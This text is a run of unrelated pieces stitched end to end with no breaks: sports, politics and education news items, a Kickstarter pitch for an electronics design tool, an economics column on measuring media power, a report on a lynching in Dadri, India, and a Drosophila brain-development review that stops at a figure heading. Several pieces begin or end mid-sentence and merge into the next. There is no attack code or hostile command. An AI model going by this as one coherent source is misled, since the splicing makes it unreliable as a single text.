"New Zealand private schools have cottoned on to the wealth of talent that is in countries like Tonga and Samoa and a lot of those players get their opportunity through those private schools and playing rugby union through those private schools," he said.
"Then obviously the Warriors under-20s system is very good at bringing those players into rugby league. It gives those players an opportunity to make it to the highest level. At the same time it makes them dual eligible which means they can play for Tonga or New Zealand."
The one other thing Woolf said would benefit the growth of the game in emerging rugby league nations is simply to play more international footy.
"It's always difficult because international footy falls at a difficult time. Players and coaches and everybody have had a long season and everyone would like a rest but if you want international footy to continue to improve then we need to commit to it," Woolf said.
The World Cup qualifier between Tonga and the Cook Islands will be live streamed on NRL.com from 7.30pm on Saturday night AEDT.Earlier today several school officials in the Phoenix and Tucson area threw their support behind the November ballot issue Prop. 205, the Initiative to Regulate Marijuana Like Alcohol. Officials highlighted the much-need revenue that will be raised for K-12 education if voters approve the initiative.
School officials pointed to the success of a similar ballot measure approved by Colorado voters in 2012. That measure (Amendment 64) fulfilled its promise to raise $40 million per year for public school construction.
Colorado’s regulated cannabis system brought in more than $135 million in tax revenue in 2015. In Arizona, advocates estimate that Prop. 205 could generate more than $123 million in annual tax revenue. More than $55 million per year would be dedicated to the state’s school districts, according to a July analysis by the Arizona Joint Legislative Budget Committee.
Half the cannabis revenue sent to schools would be used for teacher compensation, construction, and maintenance. The other half would be used to support full-day kindergarten programs.
The Campaign to Regulate Marijuana Like Alcohol launched a statewide digital ad campaign this week to highlight the school funding component of Prop. 205. One ad features a teacher, a mother of a special needs child, and a grandmother.
Buck Crouch, President, Sunnyside School Board Marijuana prohibition has made our state less safe, along the border and elsewhere.
School officials supporting Prop.205 also highlighted a report published in June by the Colorado Department of Public Health and Environment. That report found that the rate of teen marijuana use in the state has remained steady since cannabis became legal for adult consumption.
Jesus Rubalcava, president of the Gila Bend Unified School District Governing Board had this to say about supporting Prop. 205: “With our state ranked near the bottom in education funding, we can use all the help we can get. I therefore appreciate that the drafters of Proposition 205 directed such a significant share of the expected tax revenues toward education. As we enjoy the overall benefits of ending prohibition, it is great to know that there will be specific benefits, like expanded full-day kindergarten, for Arizona students.”
Buck Crouch, president of the Sunnyside Unified School District Governing Board added: “It is no secret that Arizona schools can use additional funding, and Proposition 205 would make a significant contribution toward that need. The projected estimate of $55 million for K-12 education annually would be very beneficial for schools, teachers, and students.”
“I am not supporting Proposition 205 because of the funding for education alone,” Crouch added. “I also believe that marijuana prohibition has made our state less safe, along the border and elsewhere. We need to end illegal sales of marijuana and have sales occur in tightly regulated — and taxpaying — businesses.”
The Yes on 205 campaign received endorsements from Jesus Rubalcava, past president of the Arizona School Boards Association. Rubalcava currently serves as president of the Gila Bend Unified School District Governing Board. Also endorsing 205 were Sunnyside Unified School District Governing Board President Buck Crouch and Board Member Daniel Hernandez; Tolleson Union High School District Governing Board Vice President Devin Del Palacio; Tucson Unified School District Governing Board Member Kristel Ann Foster; Balsz School District Governing Board Member Channel Powe; and State Sen. Martin Quezada, who is a member of the Pendergast Elementary School District Governing Board.About
Make amazing electronics projects in a matter of minutes, even without experience with electronics. That's what CircuitsMaster is all about. CircuitsMaster allows non-engineers to work with electronics in an intuitive way. Tell CircuitsMaster what you want to make and you will know everything you need to build it: the circuits, code and component list with information in a few clicks. You'll be able to order the components you need directly after making the circuit in CircuitsMaster, or even a PCB with the full circuit you need on there. You just focus on the fun part.
The workflow
Have you ever had an amazing idea to make something involving electronics? But needed too much knowledge of electronics? Or it would take you too much time to make it? Maybe you've heard of Arduino or even used it. It is quite cool. Arduino already tried to make electronics accessible for everyone, not just engineers. But you still have to program and still need sufficient knowledge of electronics to make the circuits around the Arduino. There are many examples online, but you also need enough knowledge of electronics to choose from the many examples. You still need sufficient skills in electronics make anything you want with it.
CircuitsMaster is an online tool that takes what Arduino tries to do even further. You tell CircuitsMaster in an intuitive way what you want the electronics to do. It then asks you questions for the details and gives you the circuit, code and exact component list for your project. CircuitsMaster even gives you the information you want about the circuits and code. Things like what to be careful of when building the circuit in real life and what the different parts do. You'll also be able to order the components through CircuitsMaster or a PCB with the full circuit already on there.
Suppose you want to make a lamp indicating what temperature it is outside, this is possible with CircuitsMaster. Or you want to make a robot bringing you beers, possible with CircuitsMaster. Whatever home-project you can reasonably think of regarding electronics, will be possible with CircuitsMaster.
Made in under 30 minutes with CircuitsMaster
No programming needed, no knowledge of electronics needed. You don't even have to look for the right components yourself. CircuitsMaster assists you in making your Arduino project in a way everyone can do it, even if you've never seen an Arduino before.
Are you creative? Do you have amazing ideas? Check out the demo on www.circuitsmaster.com/demo/demo.php?key=kickstart. Keep in mind this is just a demo, a lot of functionality is not included yet and the demo doesn't run completely smooth. The final version will have everything included, will have a better way and more visual way instructing CircuitsMaster and will run completely smooth.
You can also check out an example of what could be made with CircuitsMaster by watching the video below.
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
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Let me know what you think and back the project if you want a tool like this to exist and to use!
Why Kickstarter?
I started with this project as my graduation project at the Technical University of Eindhoven. I have had this idea for a long time already and wanted to see what the possibilities were of such an application. I saw many people struggle with the use of electronics and was convinced this was an opportunity for improvement, so I built CircuitsMaster. The early user tests showed enormous potential for CircuitsMaster. Making electronic systems could be done 95% faster on average and with a success percentage that was 68% higher with CircuitsMaster than without. The exact analysis of these results can be found here.
Later user tests also showed that CircuitsMaster was easy to use (with an average SUS score of 77) and that users learned electronics in a fun way with CircuitsMaster. Summarized, it made electronics fun rather than confusing for non-experts.
Because of this huge potential, I decided to further develop CircuitsMaster. I want it to be available, because it could have value for so many people. I realized that CircuitsMaster makes electronics accessible enough for everyone to make amazing systems. Even if you never worked with electronics and you just want to make something that you would like to have in your house, or something to show off to your friends. With CircuitsMaster you'd be able to make it, without long training in electronics.
When continuing to develop CircuitsMaster, I came to the point where I have a demo, but couldn't make it as good as I wanted. This was simply because of my web programming skills. I graduated in Electrical Engineering and Industrial Design and like building websites, but to make CircuitsMaster perfectly functioning without any bugs, I need a Web Engineer. Also, I need a Visual Designer and I need to test every circuit I put on CircuitsMaster. If you use CircuitsMaster, you have to be convinced every circuit and code you get is 100% correct. I need to buy many components to test all these circuits.
Basically I can't do it all alone and I will have some costs. And since I just graduated from the University, I don't have the money to do pay for all of this. I do have the time and I'm definitely willing to invest time in making CircuitsMaster perfect. I want CircuitsMaster to be available for everyone who wants to make something cool with electronics.
The pi-chart below shows how the funding will be used. Most of it will go to the web engineer to make sure the final version will run perfectly smooth and has all the functionality it needs to work as you would want it to work. I will put in all the circuits and codes myself.
The goal of €4000 is the minimum amount of money needed to get CircuitsMaster to a point where it runs completely smooth as desired. If the project receives more funding, also a user experience designer will be added to the team. A user experience designer can bring CircuitsMaster to a level where it becomes even easier to use. If the project gets funded even more, also a part of the budget will go to marketing. Because if more people know about CircuitsMaster, it can grow bigger and better.
In return for funding the project, you will belong to the first group who will get access to CircuitsMaster once finished. Also, you will get access for a reduced price! Ofcourse I will keep all backers up-to-data and will regularly upload the newest version to try for all of you. The current demo version will also stay available for you.
Timeline
I started this project in December of 2016 and started with doing research. Finding out what people would really want from such an application. In February of 2017 I had a first concept and in March a first prototype. With this early prototype, I've performed tests to see the potential of CircuitsMaster and to collect as many feedback as possible. The potential of the CircuitsMaster was enormous, so I took all the feedback into account and finished the next prototype in May. This prototype is the demo that is available on www.circuitsmaster.com/demo/demo.php?key=kickstart
I did more user tests with this demo and the results were even better than with the first prototype. Also, I started the process of telling many people about the project, both in my personal life and online. Now I started the kickstarter, because I need a little bit of money to further develop the project and make it as amazing as it has the potential to be.
During this kickstarter period, I am also setting up a framework of the workflow in the final version. This framework is a flowchart that contains everything CircuitsMaster needs to be able to do. It contains what you can tell CircuitsMaster and how CircuitsMaster will respond. This has to be done, to extent the functionality of CircuitsMaster in a way that everything you would possibly want to do with CircuitsMaster is possible. With the demo, there are still many possibilities of electronics not included. This framework will be the basis of the final version.
In July, after the kickstarter period is finished, this framework will be translated into'screens'. This is done to define what exactly you will see when you use CircuitsMaster. And meanwhile we will set up a way how, what you tell CircuitsMaster can be perfectly translated to circuits, code and a component list. This needs to be redone, because the current demo doesn't work perfect.
Then in August, the complete system can be programmed. Some code of the demo will be reused, but also a lot of new code has to be written to support the new, better framework.
In September then, the circuit blocks and code blocks can be inserted in the final version. Also, all circuitblocks and codeblocks will be tested. Meanwhile there is time to debug the final version.
October is the buffer. If anything goes not according to plan, it can be done in October. And then at the end of October, the final version of CircuitsMaster can be launched for all supporters to be used.IIT, IISc PhD Researchers To Get Rs 70,000 Monthly Central Fellowship
The Union Government will now grant Rs 70,000 as monthly fellowship to 2,000 PhD scholars across IITs and IISc in the country. Union higher education secretary Kewal Kumar Sharma has said this at the 67th Foundation Day function of Indian Institute of Technology (IIT) Kharagpur at its Kharagpur campus in West Midnapore district on Friday. The fellowship will be given for five years, reported Press Trust of India.According to Mr Sharma, under the scheme, those graduating from IITs, NITs, IIITs, if they do their Ph.Ds in IITs or IISc Bengaluru, they would be given a very "handsome fellowship" of Rs 70,000 per month for five years.Presently researcher-students get Rs 25,000 as monthly scholarship at IITs.According to the list published by IIT Bombay in its official website, PhD scholars are given scholarship of Rs. 25000 p.m. for first two years now and after completion of two years of fellowship and on receipt of satisfactory report on successful presentation of Progress Seminar, the fellowships are enhanced to Rs. 28000 p.m. for remaining years (i.e. 3rd, 4th, & 5th year).There are 23 IITs in the country right now and an Indian Institute of Science, which is based on Bengaluru.In March this year, reports had emerged that, in order to further promote higher education and retain talent in the country, the Human Resources Development Ministry proposed a Rs 75,000 per month fellowship under the Prime Minister's Research Fellowship Programme for selected PhD fellows at the IITs.Before that, in August last year, an IIT official told PTI that, the central government was planning to grant new scholarships worth Rs. 60,000 per month for five years to students of Indian Institute of Technology (IITs) selected to promote innovation.Premier IITs and IISc Bengaluru always get ranked among the best educational institutes. In a ranking where universities from Singapore, China, South Korea, Hong Kong and Japan topped, Indian Institute of Science, Bangalore and Indian Institute of Technology (IIT), Bombay fared well recently in the Times Higher Education's Asia University Rankings 2017. IISc Bangalore was ranked in the 27th place while IIT Bombay secured 42nd rank.IISc Bangalore was the only university from India found its place in Times Higher Education's Best Small Universitie s across the globe."As part of the research fellowship scheme of Prime Minister Narendra Modi, we wish the meritorious students who are being forced to leave the country for purely financial reasons stay within the country."We will provide 2,000 such monthly fellowships across the IIT system and IISc Bengaluru," Mr Sharma said yesterday. "Draft scheme is ready," he added.Mr Sharma also said that the draft has gone past the Finance Ministry. "The Cabinet approval should come soon. We hope to make it possible in the next couple of months, so it can be feasible to implement in the next session," he said."We need to provide you attractive offers so you stay within the country," he hoped.The union government has also approved a scheme to enable select educational institutions become 'Institutes of Eminence' to catapult them to the global top 100 ranking slot |
small number of news sources, which creates the potential for large political influence.
The media industry is different
The media industry is undergoing a consolidation process. After the proposed merger between Comcast and Time Warner Cable, Rupert Murdoch’s Century Fox reportedly offered to buy Time Warner. The offer was rejected, but the prospect of a merger between two media groups of such size has reignited a public debate on the dangers of excessive media concentration.
Media regulation involves issues that are not present in other industries. Excessive concentration in, say, the milk industry may lead to lower consumer surplus through higher prices, lower quantities, and perhaps lower quality. That can happen in the media industry too, but there is an additional media-specific risk, which is by now well understood in both academic and policy circles.1Unlike milk production, news production is central to the democratic process. Citizens receive political information from mass media and they use it to decide how to vote. By choosing what to report and how to report it, a media company can affect the views of its users and hence their voting decisions. This is not just a theoretical possibility. DellaVigna and Kaplan (2007) found that the entry of Fox News increased the national vote share of Republicans by 0.4 to 0.7 percentage points. The potential for political influence is what most people think of when they talk about the power of the media.
The power of a media company depends on how many citizens receive their political information from news sources owned by that company. If ownership is highly fragmented, no individual media owner can exert a large influence on voters. That is why media plurality is often invoked as a defence against media power. As the Leveson Report (a comprehensive inquiry into the practices of the British Press following the News of the World scandal) concluded: “It is only through this plurality, specifically in relation to news and current affairs, that we can ensure that the public is able to be well informed on matters of local, national and international news and policy and able to play their full part in a democratic society”.
As media regulators are becoming more aware of the political role of the media, they are also realising that standard market competition analysis alone is insufficient for guiding regulation in the media industry (see, for instance Ofcom’s report 2012). Because there is little or no direct competition between outlets on different platforms (newspapers, broadcast television, radio, etc.), markets are invariably defined in terms of platforms. But that is unhelpful to understand political influence. What matters for media power is what information voters receive rather than how they receive it. Any reasonable media power index must be able to aggregate media influence across platforms. This requires a basis to compare the influence of media outlets that belong to different platforms. Is the New York Times more or less influential than CNN?2 Is CNN more or less influential than Yahoo News?
Measuring media power
In a recent CEPR Discussion Paper, I propose a new media power index that aggregates power across all media platforms (Prat 2014). Unlike existing measures, the basic units of analysis in the new index are not markets but voters. For any given voter, one can determine the set of news sources that he or she follows. For instance, a particular voter may read the New York Times and watch ABC news, and those are the news sources that can influence her political views. Once we aggregate across voters, we can determine the power of a media company as its ability to change people’s exposure to information and the way they vote. The media index measures the potential for a given media company to shift vote shares from one political party to another.
The new index does not measure actual media influence. Rather, it focuses on the maximum potential for media power. This avoids the need to speculate on the possible motives of media owners and the possible reactions of media users, which are exceedingly difficult to determine ex ante. To measure this maximum potential, we answer the question, “assuming that the only goal of a media owner were to favour one political party, and that media users took the information they receive at face value, how much could the media owner influence voting behaviour?” The answer to this question identifies an upper bound to the power of a media company. It provides a basis for prudential regulation by directing attention to the highest damage potential of any media ownership pattern.
The simplest version of the index takes a straightforward form.3 Define the attention share that a voter devotes to a particular news source as one divided by the number of sources that voter uses, and zero if he does not follow that source. Voters that focus on a narrower selection of sources will thus have large attention shares attached to each source. The overall attention share of each source is the average attention share by source over all voters. Within this framework the power of a media company is a simple function of its overall attention share.
Media power in the US
The new index is easy to compute provided individual media consumption data are available. This information is available in the US from a biennial Pew Institute survey, going back to the 90s. Each respondent is asked where they get their political news and the set of answers includes all major sources in all main platforms, including new media.
The media power index values for all major US news organisations in 2012 are shown in Figure 1. For media conglomerates the index includes all owned news sources on any platform. For instance, in 2012 News Corp owned both Fox and the Wall Street Journal. The index also covers multiple distribution channels for the same source. For instance, the New York Times entry includes both print readers and online readers.
Figure 1. Power index, 15 major US media companies, based on the 2012 Pew Institute Media Consumption Survey
• The first finding is that the four most powerful media companies are mainly television-based.
This is because a vast majority of Americans get their news exclusively from television and typically from a very limited number of broadcasters, giving them a high attention share. The most powerful press source is the New York Times in ninth position and the most powerful new media source is Yahoo News in sixth position. In spite of the fascination for new media, the number of users is limited and they typically access multiple other sources, hence the low value of their power index. Media regulators should continue to be particularly wary of any merger involving the leading television groups.
• The second finding is that the absolute value of the index is high.
The 22% index value for News Corp means that within this model and based on data available their owner could potentially turn a an electoral defeat with a 22% vote margin into an electoral victory. Namely, suppose that under neutral reporting party A would win with 61% of the votes and party B would lose with 39% of the votes. News Corp could shift 11% of the votes, thus guaranteeing that party B wins with 50% of the votes plus one. Of course, this is an upper bound to potential influence. It does not imply that News Corp will actually be able or willing to shift 11% of the votes. It just says that there is a set of conservative assumptions that lead to that figure.
Crucially for media regulation, these large power estimates are in marked contrast with the low market concentration of most media platforms in the US as gauged according to standard measures (see Noam 2009). It is true that media markets appear relatively fragmented, but this is not the right level of analysis for media plurality. Most American voters receive their news from a very small number of news sources. This creates the potential for the large political influence that this index captures.
Footnotes:
1.For a recent survey see: A Prat and D Strömberg, The Political Economy of Mass Media, Advances in Economics and Econometrics: Theory and Applications, 2013.
2. In the early 2000’s the Federal Communications Commission developed the Media Diversity Index, which first assigned equal weight to all outlets within a platform and then aggregated across platforms according to given weights.
3. The CEPR Discussion Paper considers a number of alternative conceptual underpinnings to the index, allowing for heterogeneous attention patterns or ideological media segmentation. As it turns out, different assumptions have minimal effects on the relative ranking of different media companies. All insights are delivered by the simplest form.
References:
DellaVigna, S and E Kaplan (2007), “The Fox News Effect: Media Bias and Voting”, Quarterly Journal of Economics, Vol.133, issue 3.
Noam E M (2009), Media Ownership and Concentration in America, Oxford University press.
Ofcom (2012), “Ofcom’s report on measuring media plurality”, Executive summary, 19 June.
Prat A (2014), “Media Power”, CEPR Discussion Paper 10094, AugWinston Watts, the pilot for the Jamaican bobsled team. (Photo11: Natacha Pisarenko, AP)
KRASNAYA POLYANA, Russia — After significant crowdfunding campaign raised the necessary money, the Jamaican bobsled team made it to the Sochi Olympics.
However, their equipment, including necessary runners (blades), shoes and other gear, did not.
WITHDRAWN: Shaun White pulls out of slopestyle
"We didn't have nothing — no equipment at all," Jamaican bobsled pilot Winston Watts said of watching the baggage carousel spin and spin around just before midnight Tuesday at the Sochi International Airport. "There's nothing I can do right now. I'm just going to leave it to the chef de mission to deal with it. I just want to concentrate on the track."
10 TO WATCH: Figure skater Gracie Gold
On an unofficial training day for men's and women's bobsledders, Watts had hoped to get two practice runs Wednesday on a track he has never been on before.
"It's really frustrating," Watts said.
He said he hopes the equipment arrives later Wednesday or early Thursday morning so he and brakeman Marvin Dixon can practice.
Watts said he has a backup plan and could borrow runners and equipment from other nations. "We have a lot guys who's going to help us," Watts said. "They want to help us."
In late January, Jamaica learned it qualified for the Sochi Olympics, but the team didn't have the money to make the trip. Watts said they needed a minimum of $80,000, and a crowdfunding campaign on crowdtilt.com generated almost $130,000.
"There's no such word to explain how I felt being here," Watts said. "The atmosphere, the fans, the friends, you the media, it's pretty exciting."
Even a luggage mishap didn't entirely dampen Watts' spirit.
"We're the most lovingest people in the world," he said. "Every moment is positive. We always keep the guys smiling. That's our motto."
The 1993 movie Cool Runnings was loosely based on the Jamaican bobsled team that raced in the 1988 Calgary Olympics.
"I still watch that movie as if it's the first I'm watching it," Watts said. "It's very inspiring."
The Jamaican bobsledders competed in the 1988, 1992, 1994, 1998 and 2002 Winter Olympics. Their best finish is 14th in 1994.
GALLERY: SCENES FROM THE SOCHI 2014 WINTER OLYMPIC GAMESDadri/New Delhi: Shocked and shaken to the core, Muslims of Bishada village on the outskirts of the national capital, where a man was lynched over rumours of his family having eaten beef, are contemplating moving out as the local administration scrambled to stem simmering tension.
The Centre has, meanwhile, sought a detailed report from the Uttar Pradesh government on the incident and asked it to ensure that no such incidents recur.
Heavy security deployment in the aftermath of the Monday night incident has failed to instill confidence among the 50 odd Muslim families, who unnerved by the killing of 50-year-old Mohammed Iqlakh, want to shift to safer places. Iqlakh was dragged out of his home by a lynch mob of 200 people and beaten to death for allegedly eating beef.
"Our lives are in danger. I'm planning to move from here. We will move from here because this can happen again anytime. Who will ensure us that this won't happen again?" said a distraught Sartaj, Iqlakh's son, who serves in the Indian Air Force.
The victim's another son, 22-year-old Danish, who was mercilessly assaulted, is recuperating in a hospital.
"We will move out to our relatives in Delhi or other states if the situation here deteriorates any further," said Raisuddin, another resident.
However, District Magistrate NP Singh claimed the situation in the village is "under control" and the administration is making efforts to maintain order by forming peace committees with representation from both the majority and minority communities.
As the situation threatened to spiral out of control following incident, contingents of Provincial Armed Constabulary and reinforcements from adjoining Ghaziabad, Bulandshahr and Hapur had been rushed to the village.
Sartaj said his father was suffering from typhoid and had low blood pressure when the mob bludgeoned him to death. He said he was not aware of any tension in the village preceding the incident.
"As far as I know, there wasn't any tension. Everything was normal. I spoke to my father an hour before the incident and asked about his well being. He was suffering from typhoid and his BP was below normal. Rest was fine till then. He was dragged outside the house, obviously neighbours were involved," he said.
"Those arrested murdered my father. I want to know the reason for which they did this to him. They should be punished so that none from the village would dare to do such a deed in future," Sartaj said, adding his family was contemplating moving out of the village as such incidents could happen any time.
Iqlakh's wife demanded a CBI inquiry into the incident. Recalling the incident, she said,"There was a lot of noise and they were banging our doors and abusing us. The entered the house by jumping a wall from the other side. Then they started misbehaving and vandalising things after which they mercilessly thrashed us."
Additional District Magistrate Rajesh Kumar met the victim's family and other members of the Muslim community and assured protection.
Seven people allegedly involved in the incident have already been arrested, while hunt is on for others.
SP(Rural) Sanjay Singh said a priest at the local temple, who made the announcement on the public address system about the family having consumed beef, and two youths, who allegedly forced him to do that, were "major links" to the incident.
"Further interrogation will reveal the exact sequence of events. The victim's family has alleged it was pre-planned," he said.
Iqlakh's kin have rubbished the charge of consuming beef and said they had eaten mutton. Even the FIR has no mention of beef.
Enraged over the incident, a Muslim resident of the village said,"Even if it was beef, does it give any right to BJP activists to attack the house and kill the man because he has eaten beef."
"It is fact that Muslim community eats beef. But they never slaughter cows in public view. Beef is available in several other states openly in shops. Slaughtering should not be done in public view to hurt the sentiment of any community. If one is doing inside the house or buying beef from slaughter house and eating it at home it should not be treated as sin. We should have freedom to eat. We are not forcing others to eat beef," another local said.
The incident has set off a blame game between BJP and the state's ruling Samajwadi Party.
"This (incident) should be considered an accident without giving any communal colour to it," Union Minister Mahesh Sharma, the local BJP MP, told reporters in Delhi.
He said, "I feel this incident occurred due to some misunderstanding and the law should truthfully act against whoever is responsible."
With tension gripping the area, the ruling Samajwadi Party hit out at BJP over Iqlakh's killing, accusing it of deliberately inciting violence ahead of 2017 assembly polls in Uttar Pradesh as part of efforts to polarise voters.
"BJP has been inciting large scale violence in UP ahead of the assembly polls. Such incidents are occurring repeatedly after the Muzaffarnagar violence," said State cabinet Minister Azam Khan.
Reacting to SP leader's charge, BJP MP Yogi Adityanath said the UP government was responsible for "jungle-raj" in the state. "Jungle-raj prevails in UP and the government backs the professional criminals and mafia to hide its failure. There is a complete anarchy in the state."
The Congress, on its part, accused BJP of making UP a "communal lab" to gain electoral mileage. "UP has been made a communal lab by BJP so that they can enhance their vote bank. The PM can continue to talk about development but it is extremely evident the real path of BJP is communal hatred," said Congress leader and former Union minister RPN Singh.
Meanwhile, in a communication to the Uttar Pradesh government, the Home Ministry has sought a report on the incident. It asked the state government to apprehend those responsible for it at the earliest and punish them.
PTI
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.While the growth of the developing brain is known to be well-protected compared to other organs in the face of nutrient restriction (NR), careful analysis has revealed a range of structural alterations and long-term neurological defects. Yet, despite intensive studies, little is known about the basic principles that govern brain development under nutrient deprivation. For over 20 years, Drosophila has proved to be a useful model for investigating how a functional nervous system develops from a restricted number of neural stem cells (NSCs). Recently, a few studies have started to uncover molecular mechanisms as well as region-specific adaptive strategies that preserve brain functionality and neuronal repertoire under NR, while modulating neuron numbers. Here, we review the developmental constraints that condition the response of the developing brain to NR. We then analyze the recent Drosophila work to highlight key principles that drive sparing and plasticity in different regions of the central nervous system (CNS). As simple animal models start to build a more integrated picture, understanding how the developing brain copes with NR could help in defining strategies to limit damage and improve brain recovery after birth.
Introduction
One of the most disrupting conditions a multicellular organism can encounter during development is nutrient restriction (NR). In response, many tissues undergo a decline in both cell proliferation and growth rate leading to undersized adults. For example, Drosophila flies may only reach half of their normal size when grown on a deprived diet, and tissues such as the eye or wings undergo a consistent 25% reduction in cell numbers (Brogiolo et al., 2001; Puig et al., 2003; Hietakangas and Cohen, 2009; Lanet et al., 2013). In mammals, reduced food availability to the mother or placental insufficiency leads to smaller new-borns. However, it is often observed that such newborns possess a proportionally larger head than then rest of the body, a phenomenon known in human as asymmetric intra-uterine growth restriction (IUGR) (Cox and Marton, 2009). Thus, when confronted with nutrient limitation, especially during late fetal stages, the brain does not reduce its size isometrically with the rest of the body. This brain-sparing phenomenon reflects a survival strategy that preferentially protects more critical organs, at the expense of others, ensuring that both cell size and numbers attain near-normal proportions independently of nutritional conditions. However, beyond global sparing, numerous studies in various mammalian models depict a complex picture with NR-induced structural alterations, the nature and strength of which are region-specific (Morgane et al., 2002; Alamy and Bengelloun, 2012). Moreover, while some of these alterations recover on return to a normal diet after birth, growing evidence suggests that early nutritional stress leaves permanent traces responsible for abnormal cognitive, behavioral, and psychiatric outcomes later in life (Hulshoff Pol et al., 2000; Rehn et al., 2004; Roza et al., 2008; De Rooij et al., 2010).
Despite intensive studies, there is no integrated understanding of the laws that determine how the different regions of the developing brain respond to nutritional stress that might help to predict the most adverse outcomes. Here, we review recent studies performed in the fruitfly Drosophila that identify principles governing development of the central nervous system (CNS) under NR.
Drosophila: A Model to Investigate CNS Development when Nutrients are Scarce
Over the last 25 years, CNS development has been extensively studied in Drosophila, and this model organism has had a lead role in our understanding of the molecular and cellular principles governing the building of a functional brain. The Drosophila CNS is much simpler than its mammalian counterpart. For the purpose of this review, we will subdivide it in three main regions: (i) the ventral nerve cord (VNC) or insect equivalent of the spinal cord, (ii) the central brain (CB), including a set of lineages that form the mushroom bodies, and (iii) the visual system also called the optic lobes (OLs) (Figure 1A). The three regions develop from a small pool of self-renewing, asymmetrically dividing neural stem cells (NSCs), called neuroblasts. Neuroblasts from the VNC and CB possess a neuroectodermal origin. During embryogenesis, an invariant and well-characterized number of neuroblasts delaminates from the neuroectoderm to undergo a series of asymmetric divisions, budding-off different types of neurons and glia. Together, they form a rudimentary CB and VNC necessary for larval life (Figure 1A). After a period of quiescence at the end of embryogenesis, most of these neuroblasts reenter the cell cycle during early larval stages and generate the larger part of their lineage post-embryonically. In contrast to VNC and CB neuroblasts, neuroblasts from the medulla region of the OLs are generated post-embryonically from a neuroepithelium in a way that resembles the neuroepithelial-to-radial glia conversion in the mammalian cortex (Farkas and Huttner, 2008; Brand and Livesey, 2011). The medulla neuroepithelium first proliferates and expands during the first two thirds of larval stages. During the last larval stage (L3), progression of a proneural wave converts all neuroepithelial cells into asymmetrically dividing neuroblasts, each of them generating a lineage that will be assembled in a medulla unit (Egger et al., 2007; Yasugi et al., 2008; Lanet et al., 2013) (Figure 1A). In all regions of the CNS, neurogenesis terminates during metamorphosis when neuroblasts either undergo cell-cycle exit or apoptosis (Maurange et al., 2008; Siegrist et al., 2010).
FIGURE 1
Figure 1. Neural proliferation during Drosophila development. (A) The main period of growth in insect development occurs during larval stages. Upon feeding, larvae continuously and rapidly grow, reaching a so-called “critical weight.” From this moment, pulses of the steroid hormone ecdysone are produced, triggering pupariation 24 hr later. Neural development starts during embryogenesis and is completed before adult hatching. During early embryonic stages, the neuroectoderm amplifies by symmetric divisions (proliferative phase). Neuroblasts of the central brain (CB) and the ventral nerve cord (VNC) delaminate from the neuroectoderm and undergo a series of asymmetric divisions to produce neurons (neurogenic phase). During larval stages, CB and VNC neuroblasts continue to produce a large number of neurons. In the optic lobes (OLs) (yellow) a neuroepithelium (rectangular cells) starts expanding (proliferative phase) as the larvae starts feeding. When the larva reaches the “critical weight,” pulses of ecdysone are produced that promote the conversion of the neuroepithelium in neuroblasts (circular cells), which generate neurons (neurogenic phase). (B) During embryonic stages, neural divisions are not influenced by dietary conditions, as embryos are isolated from the environment and possess their own nutritional reserves. Sparing of neural growth and division also occurs after reaching critical weight when the animal possesses large amounts of endogenous nutritional reserves to fuel biogenesis. In the CB and VNC, neuroblast growth is additionally supported by insulin-independent growth Alk activity (Cheng et al., 2011). In contrast, the first stages of larval development provide a window of plasticity to adapt the neuronal content to nutritional conditions.
The embryo is a closed system and possesses its own nutritional reserves. It is therefore protected against post-fertilization NR which do not perturb the number of VNC and CB neuroblasts and the size of their embryonic lineage (Doe, 1992) (Figure 1B). However, larval stages are highly dependent on nutritional conditions (Figure 1B). Food abundance during larval stages determines the size of most adult organs and can easily be altered for experiments (Mirth and Shingleton, 2012). Consistently, larvae grown on a suboptimal protein diet exhibit a delayed development and give rise to much smaller adults (Hietakangas and Cohen, 2009). Moreover, if feeding is completely abolished during the last third of larval development, the larva will stop growing but its development proceeds normally, leading to downsized adults. In the latter case, pulses of the steroid hormone ecdysone that are produced once the larva has attained a so-called “critical weight,” maintain developmental progression and commit the larva to metamorphosis a few hours later (Figure 1A) (Mirth and Shingleton, 2012). Although the larva stops growing whenever it is starved, a recent study has shown that starvation after reaching “critical weight” does not prevent the CNS from growing at an almost normal rate (Cheng et al., 2011). Therefore, protection mechanisms preferentially spare the growth of the different lineages of the VNC, CB, and OLs at least during the later part of larval development. Interestingly, this observation is reminiscent of the brain-sparing phenomenon observed during the last third of pregnancy in mammals.
Why Brain Sparing? Developmental Constraints in the Brain Under Construction
The brain-sparing effect observed in both mammals and flies suggests that the building of a functional CNS may not withstand a reduction of cell size and cell number in response to dietary restriction, as other organs may do. Two characteristics of the nervous system are the large size of its cells and their extreme diversity. Although reaching a large size is a critical requirement for normal function of both glia and neurons (Cotter et al., 2001; Lloyd, 2013), it seems equally essential for normal brain function to protect its cell composition. In this review, we will concentrate on the mechanisms that regulate NSC growth and mitotic activity in Drosophila ensuring that the normal repertoire of neurons and glia are produced.
Over the last 15 years, seminal work in Drosophila has revealed novel strategies deployed in the CNS to increase cell diversity. In most organs, cell diversity mainly relies on the spatial specification of progenitors by early morphogenetic gradients (Dessaud et al., 2008) (Figure 2B). This system also applies to neural progenitors, but many of them encounter an additional “temporal” patterning strategy that allows them to generate different types of neurons or glia as they progress through successive rounds of asymmetric cell divisions (Jacob et al., 2008). The combination of spatial and temporal patterning largely accounts for the multiplicity of cell types observed in this tissue. In Drosophila, two modes of temporal patterning have been uncovered (Figure 2A). In a large subset of lineages, it is encoded by neuroblast-intrinsic genetic programs that involve the sequential expression of transcription factors endowing the successive progeny with different fates according to their birth-order (Maurange, 2012; Kohwi and Doe, 2013; Li et al., 2013a). In other lineages, the identity of neurons produced is specified by environmental cues that change during the course of development. For instance, it has recently been demonstrated that neurons in the mushroom bodies, a region of the CB involved in olfactory learning and memory, acquire different identities according to the levels of ecdysone produced at the time of their birth (Kucherenko et al., 2012; Wu et al., 2012; Kucherenko and Shcherbata, 2013). Therefore, whether it is intrinsically or extrinsically controlled, temporal patterning allows each asymmetrically dividing neural progenitor to generate a lineage comprising a vast repertoire of progeny with distinct fates.
FIGURE 2
